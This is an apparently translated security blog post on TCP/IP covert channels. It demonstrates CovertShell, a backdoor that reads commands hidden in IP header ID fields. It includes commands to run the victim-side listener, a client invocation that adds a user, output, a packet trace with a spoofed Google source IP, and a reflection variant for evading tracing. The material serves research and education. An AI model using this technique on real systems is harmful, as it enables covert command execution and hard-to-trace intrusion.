Covert channels

(Please note this post was originally published in the Spanish version of Security Art Work last 26th Oct 2010)

Covert channels is an evasion technique that allows an attacker to send information using the communication protocols headers. In this post we will cover-up of channels in the TCP/IP protocols and provide a tool, CovertShell, designed as a proof of concept. The sources are at the end of this post.

The TCP/IP protocol has headers that usually are initialized by the client to maintain or number a communication. The technique covert channels uses these fields to assign them values ​​so the target machine does not interpret these fields as part of the communication, but to obtain data.

An interesting example was developed by Craig H. Rowland in his paper back in 1996: Covert Channels in the TCP/IP Protocol Suite, where he created a small client/server “CovertTCP” of no more than 500 lines that allowed file transfer between client and server, using for it only the fields SEQ, ACK (TCP protocol) and ID field (IP protocol). This information was on the protocol overhead and not in the payload.

Following this idea, we could go further and use this technique to send command orders. Something that could be used for both backdoors and botnets. Imagine that we have a compromised server that has installed a service that simply listens packets with some values ​​in its header. When it receives a package with some requirements, it processes the values ​​of such fields to convert headers into command orders, which are then executed.

Following this idea we have created a small tool as a proof of concept following CovertTCP source code, called CovertShell. We have a service that uses a RAW socket. When it receives a packet with ACK bit and without SYN bit, it gets the ID of the IP header, which corresponds to a letter in ASCII code. This letter is stored in a vector. When it receives 3 packets with ID 255, the server executes the command stored in the vector. Thus we have a server that does not open any ports but listens to the traffic and that is able to interpret the IP header to generate commands. Put it another way, we have a backdoor that uses covert channels to communicate. Confusing? Let’s see an example of operation:

Compile and run the service that wait for packets on port 8888 on the victim machine (server):

# gcc servidor.c -o servidor 
# ./servidor -port 8888

In another shell we check that the process is running and that there is not any service listening in port 8888:

# ps aux | grep servidor | grep -v grep 
root      2465  0.0  0.0   3908   312 pts/0    S+   09:53   0:00 ./servidor -port 8888 
# netstat -putan | grep 8888 
# lsof -Pi | grep 8888

Now we’ll use a small bash script (I want to thank Raúl Rodriguez) that requires the installation of Nemesis to easily manipulate packets. The script receives a command (in quotes), so that it will generate a packet for each letter of that command, where the value ID of the IP field will the ASCII value of the letter.

Within the script and have IP_DST and DPORT where you must specify the IP and port of your server victim. We also have IP_ORIGEN and SPORT which contains the source IP and port (can be any). For this POC we will tell Nemesis that the source IP address is a Google server and the source port is 80. Doing this, the victim server will receive packets with the ACK flag set apparently coming from a Google IP and port 80.

Thus, if we read the network trace we will see only ACK packets that are coming from google, maybe more than usual, when really what we are getting are backdoor commands.

For this demo we will create the user “ximo” on the victim machine:

Client:

# ./cliente.sh "useradd ximo" 
TCP Packet Injected 
TCP Packet Injected 
TCP Packet Injected 
TCP Packet Injected 
TCP Packet Injected 
TCP Packet Injected 
TCP Packet Injected 
TCP Packet Injected 
TCP Packet Injected 
TCP Packet Injected 
TCP Packet Injected 
TCP Packet Injected 
TCP Packet Injected 
TCP Packet Injected 
TCP Packet Injected 
#

Server (Dato recibido translates as Data received ):

# ./servidor -port 8888 
Dato recibido: 117 
Dato recibido: 115 
Dato recibido: 101 
Dato recibido: 114 
Dato recibido: 97 
Dato recibido: 100 
Dato recibido: 100 
Dato recibido: 32 
Dato recibido: 120 
Dato recibido: 105 
Dato recibido: 109 
Dato recibido: 111 
Comando: useradd ximo

Did it work?

# tail -1 /etc/passwd 
ximo:x:1002:1002::/home/ximo:/bin/sh 
#

Now let’s look at the network trace from the server (IP 172.17.XX) when we sent the command “useradd ximo”. In this case remember that we used the Google IP, so the source IP used is “66.249.92.104” obtained from a simple ping:

$ ping -c1 google.es
PING google.es (66.249.92.104) 56(84) bytes of data.

Network trace:

# tcpdump -nn -vvv -i eth0 port 8888 
10:00:55.265912 IP (tos 0x0, ttl 254, id 117, offset 0, flags [none], proto TCP (6), 
    length 40) 
    66.249.92.104.80 > 172.17.X.X.8888: Flags [.], cksum 0x2912 (correct), 
    seq 283280788, ack 1457724121, win 4096, length 0 
10:00:55.265964 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 40) 
    172.17.X.X.8888 > 66.249.92.104.80: Flags [R], cksum 0xcf94 (correct), seq 
    1457724121, win 0, length 0 
10:00:55.270636 IP (tos 0x0, ttl 254, id 115, offset 0, flags [none], proto TCP (6), 
    length 40) 
    66.249.92.104.80 > 172.17.X.X.8888: Flags [.], cksum 0x2909 (correct), seq 
    1069023501, ack 78166684, win 4096, length 0 
10:00:55.270669 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 40) 
    172.17.X.X.8888 > 66.249.92.104.80: Flags [R], cksum 0x1051 (correct), seq 
    1535890804, win 0, length 0 
10:00:55.280132 IP (tos 0x0, ttl 254, id 101, offset 0, flags [none], proto TCP (6), 
    length 40) 
    66.249.92.104.80 > 172.17.X.X.8888: Flags [.], cksum 0x827f (correct), seq 
    1249543965, ack 4145208809, win 4096, length 0 
10:00:55.280157 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 40) 
    172.17.X.X.8888 > 66.249.92.104.80: Flags [R], cksum 0xfa99 (correct), seq 
    1307965633, win 0, length 0 
10:00:55.284502 IP (tos 0x0, ttl 254, id 114, offset 0, flags [none], proto TCP (6), 
    length 40) 
    66.249.92.104.80 > 172.17.X.X.8888: Flags [.], cksum 0x5a89 (correct), seq 
    4108084880, ack 626806209, win 4096, length 0

The server has received a number of TCP packets with ACK flag ([.]) from the Google IP (66.249.92.104), with source port 80 without payload, to which we answered with a RST packet. If you look at the sent packets you will see the “ID number” field which identifies the value of the IP protocol ID field, which has values ​​like 117, 115, 101, 104, … that match the ASCII values ​​of u, s, e, r, …

As you can guess, the ability to track this command is really hard because the victim does not receive the IP of the attacker as it spoofs the source IP.

But let’s go further: what if instead of using the IP protocol header ID, we use the sequence value (SEQ) of the TCP packet, so we sent a TCP packet with SYN flag set (start connection) to a public server whose source IP and port are the victim’s? The public server will reply the victim with a SYN ACK packet to the port indicated as source port, having as ACK value the session value sent by the attacker plus 1. Therefore it could used legitimate public servers so they send in the TCP header the command to be executed, being even more difficult to track who executed the command.

See a image that explains this idea:

(Please note: “Paquete” translates as “Packet“, “Origen” as “Source“, “Victima” as “Victim“, “Destino” as “Destination“, “Servidor” as “Server“, “Comando” as “Command” and “Atacante” as “Attacker“).

TCP
The latter, as well as subsequent tests, remain as an exercise for the reader. The developments made for proof of concept, that we have called CovertShell, are publicly available. We hope you find it helpful, without forgetting of course that they are only for educational and research purposes.

Comments

  1. Have you evrr thought about writing an ebook or guest authoring on other sites?
    I have a blog centered on the same information you discuss and would love to have you share some stories/information. I know my readers would value your
    work. If you’re even remotely interested, feel free to shoot me
    an e mail.